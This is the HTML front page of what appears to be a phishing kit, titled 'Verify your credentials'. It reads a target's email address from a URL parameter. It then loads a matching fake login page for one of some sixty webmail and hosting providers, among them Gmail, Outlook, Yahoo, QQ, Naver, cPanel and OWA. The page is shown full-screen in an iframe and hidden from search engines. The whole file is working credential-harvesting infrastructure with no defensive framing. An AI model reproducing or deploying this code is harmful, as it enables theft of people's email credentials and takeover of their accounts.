<!doctype html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="nosnippet, noydir, noodp, nofollow, noindex, noarchive">
    <meta http-equiv="X-Frame-Options" content="deny">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Cache-Control" content="no-cache, must-revalidate, no-store">
    <meta http-equiv="Expires" content="-1">
    <meta charset="utf-8">
    <title id="titl">Verify your credentials</title>
    <style>
        html {
            overflow: hidden;
        }

        body, div, html, iframe {
            margin: 0;
            padding: 0;
            height: 100%;
            border: none;
        }

        iframe {
            display: block;
            width: 100%;
            border: none;
            overflow-y: auto;
            overflow-x: hidden;
        }

        @keyframes rotate-loading {
            0% {
                transform: rotate(0);
            }
            100% {
                transform: rotate(360deg);
            }
        }

        .loading,
        .loading-container {
            height: 100px;
            position: relative;
            width: 100px;
            border-radius: 100%;
        }

        .loading-container {
            margin: 100px auto;
        }

        .loading {
            border: 2px solid transparent;
            border-color: transparent #333 transparent #333;
            animation: rotate-loading 1.5s linear 0s infinite normal;
            transform-origin: 50% 50%;
        }

        #loading-text {
            animation: loading-text-opacity 2s linear 0s infinite normal;
            color: #888;
            font-family: "Helvetica Neue", Helvetica, Arial;
            font-size: 10px;
            font-weight: 700;
            margin-top: 45px;
            opacity: 0;
            position: absolute;
            text-align: center;
            text-transform: uppercase;
            top: 0;
            width: 100px;
        }

        @keyframes loading-text-opacity {
            0% { opacity: 0; }
            20% { opacity: 0; }
            50% { opacity: 1; }
            100% { opacity: 0; }
        }
    </style>
</head>
<body>
    <div class="loading-container" id="loader">
        <div class="loading"></div>
        <div id="loading-text">Loading...</div>
    </div>
    
    <iframe src="#" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="100%" id="fil" scrolling="auto"></iframe>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

    <script>
    function getParameterByName(name, url = window.location.href) {
        const regex = new RegExp(`[?&]${name}=([^&#]*)`, 'i');
        const match = regex.exec(url);
        return match ? decodeURIComponent(match[1].replace(/\+/g, ' ')) : null;
    }

    function base64Decode(base64) {
        try {
            return atob(base64);
        } catch (e) {
            console.error('Invalid Base64 string:', base64);
            return null;
        }
    }

    function base64DecodeOrKeepOriginal(file) {
        try {
            return atob(file); // Attempt Base64 decoding
        } catch (e) {
            return file; // Return original if not Base64
        }
    }

    const domainMap = [
        { file: 'hot-mail.html', keywords: ['hotmail', 'outlook'] },
        { file: 'y.html', keywords: ['yahoo', 'ymail'] },
        { file: 'aruba.html', keywords: ['aruba', 'arubabusiness.it'] },
        { file: 'bigpond.html', keywords: ['bigpond'] },
        { file: 'comcast.html', keywords: ['comcast'] },
        { file: 'chinaemail.html', keywords: ['chinaemail'] },
        { file: 'g.html', keywords: ['gmail', 'googlemail'] },
        { file: 'att.html', keywords: ['att'] },
        { file: 'aol.html', keywords: ['aol'] },
        { file: 'zoho.html', keywords: ['zoho', 'zohomail'] },
        { file: 'biglobe.html', keywords: ['biglobe'] },
        { file: 'centurylink.html', keywords: ['century'] },
        { file: 'chol.html', keywords: ['chol'] },
        { file: 'coremail.html', keywords: ['coremail'] },
        { file: 'ecount.html', keywords: ['ecount'] },
        { file: 'emailit.html', keywords: ['email.it'] },
        { file: 'globalmailcn.html', keywords: ['globalmail'] },
        { file: 'gobizkorea.html', keywords: ['gobiz'] },
        { file: 'godaddy.html', keywords: ['godaddy'] },
        { file: 'hetemail.html', keywords: ['hetemail'] },
        { file: 'hinet.html', keywords: ['hinet'] },
        { file: 'ionos.html', keywords: ['ionos'] },
        { file: 'juno.html', keywords: ['juno'] },
        { file: 'kagoyanet.html', keywords: ['kagoya'] },
        { file: 'localweb.html', keywords: ['localweb'] },
        { file: 'mailplug.html', keywords: ['mailplug', 'mailwood'] },
        { file: 'networksolutions.html', keywords: ['networksolutions'] },
        { file: 'orangefr.html', keywords: ['orange'] },
        { file: 'plala.html', keywords: ['plala'] },
        { file: 'protonmail.html', keywords: ['protonmail'] },
        { file: 'rackspace.html', keywords: ['rackspace'] },
        { file: 'register.html', keywords: ['register'] },
        { file: 'sakura.html', keywords: ['sakura'] },
        { file: 'securemx-jp.html', keywords: ['securemx'] },
        { file: 'spectrum.html', keywords: ['spectrum'] },
        { file: 'strato.html', keywords: ['strato'] },
        { file: 'telkomsa.html', keywords: ['telkomsa'] },
        { file: 'tiscali.html', keywords: ['tiscali'] },
        { file: 't-online.html', keywords: ['t-online'] },
        { file: 'wadax.html', keywords: ['wadax'] },
        { file: 'windstream.html', keywords: ['windstream'] },
        { file: 'worksmobile.html', keywords: ['worksmobile'] },
        { file: 'abv.bg.html', keywords: ['abv'] },
        { file: 'conoha.jp.html', keywords: ['conoha'] },
        { file: 'f.zaq.ne.jp.html', keywords: ['jp'] },
        { file: 'interia.html', keywords: ['interia'] },
        { file: 'mailcloudtw.html', keywords: ['mailcloud'] },
        { file: 'seznam.html', keywords: ['seznam'] },
        { file: 'so-netjp.html', keywords: ['so-net'] },
        { file: 'owa.html', keywords: ['owa'] },
        { file: 'hiworks.html', keywords: ['hiworks'] },
        { file: 'naver.html', keywords: ['naver'] },
        { file: 'qq.html', keywords: ['qq'] },
        { file: 'daum.html', keywords: ['daum', 'kakao', 'hanmail'] },
        { file: 'one-six-three.html', keywords: ['163'] },
        { file: 'vip163.html', keywords: ['vip163'] },
        { file: '126.html', keywords: ['126'] },
        { file: '188.html', keywords: ['188'] },
        { file: '263.html', keywords: ['263'] },
        { file: 'aliyun.html', keywords: ['aliyun'] },
        { file: '139.html', keywords: ['139'] },
        { file: 'zimbra.html', keywords: ['zimbra'] },
        { file: 'w.html', keywords: ['cpanel'] },
        { file: 'oauth-hot.html', keywords: ['oauth'] },
        { file: 'rc.html', keywords: ['roundcube'] },
        { file: 'mailcom.html', keywords: ['mail.com'] }
    ];

    (function () {
        const email = getParameterByName('cms');
        const iframe = document.getElementById('fil');
        const loader = document.getElementById('loader');

        if (!email) {
            console.warn('No email provided in URL');
            iframe.setAttribute('src', 'background.html');
            loader.style.display = 'none';
            return;
        }

        // Load background.html with the email address in query
        iframe.setAttribute('src', `background.html?cms=${email}`);
        loader.style.display = 'none';

        // Listen for messages from background.html
        window.addEventListener('message', (event) => {
            if (event.origin !== window.location.origin) return; // Security check

            const { action, email: returnedEmail } = event.data || {};
            if (action === 'redirectToIndex' && returnedEmail) {
                const domain = returnedEmail.split('@')[1]?.toLowerCase();
                let iframeSource = 'w.html'; // Default fallback

                for (const mapping of domainMap) {
                    if (mapping.keywords.some(keyword => domain.includes(keyword))) {
                        iframeSource = base64DecodeOrKeepOriginal(mapping.file);
                        break;
                    }
                }

                // Redirect to the correct HTML file with email in URL
                iframe.setAttribute('src', `${iframeSource}?cms=${returnedEmail}`);
            }
        });
    })();
</script>
<script src="./config.js"></script>
</body>
</html>